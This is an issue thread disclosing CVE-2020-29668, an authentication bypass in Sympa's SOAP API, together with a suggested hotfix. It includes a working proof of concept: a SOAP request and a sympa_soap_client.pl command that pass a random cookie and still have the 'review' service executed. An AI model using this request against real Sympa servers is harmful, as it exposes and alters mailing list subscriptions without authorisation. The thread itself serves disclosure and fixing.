[CVE-2020-29668] Unauthorised full access via SOAP API due to illegal cookie

[balert]

Version

v6.2.56-1.el7 on Centos 7.8.2003

Installation method

Centos package

Expected behavior

permission denied

Actual behavior

error message and action actually executed anyways.

Additional information

In our setup we have a problem with incorrect cookies via the SOAP API of sympa.
If the SOAP request contains a correct cookie everything works as expected -> request executed
If the SOAP request contains a correct but outdated cookie, everything works as expected -> request correctly denied.

If the SOAP request contains an arbitrary string as cookie (e.g. "asdkjasdljkahsdlkjh"), SOAP replies with an error ("Undefined session ID in cookie") but STILL executes every requests we make. By this we can add email adresses to lists without authentication, any operation we tried was still successful.

We could hotfix the problem by inserting a die(); command into /usr/share/sympa/lib/Sympa/WWW/Session.pm:129 like this:

    my $session_id = _cookie2id($cookie);
    unless ($session_id) {
        $log->syslog('info', 'Undefined session ID in cookie "%s"', $cookie);
        die('nothing');
        return undef;
    }

[ikedas]

Hi @balert , could you please show what you did, such as detailed commands you executed?

[balert]

we sent a SOAP request like this:

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:sympasoap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:authenticateAndRun soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <email xsi:type="xsd:string">mail@example.org</email>
         <cookie xsi:type="xsd:string">randomstring</cookie>
         <service xsi:type="xsd:string">review</service>
         <parameters xsi:type="wsdl:ArrayOfString" soapenc:arrayType="xsd:string[]" xmlns:wsdl="https://lists.example.org/sympa/wsdl">
         		<item>list@example.org</item>>
         </parameters>
      </urn:authenticateAndRun>
   </soapenv:Body>
</soapenv:Envelope>

[racke]

If that is true it would be a big hole. I'm going to try to reproduce it.

[racke]

I can confirm the problem. You need to know the listname and the email that is allowed to see the subscribers (e.g. the owner of the list.

Reproduce that with the client test script:

 /usr/local/sympa/bin/sympa_soap_client.pl
    --soap_url=https://lists.example.com/sympasoap
    --service=review
    --service_parameters=demo-list
    --user_email=demo@cart.pm
    --session_id=nevairbe

[carnil]

This issue has been assigned CVE-2020-29668.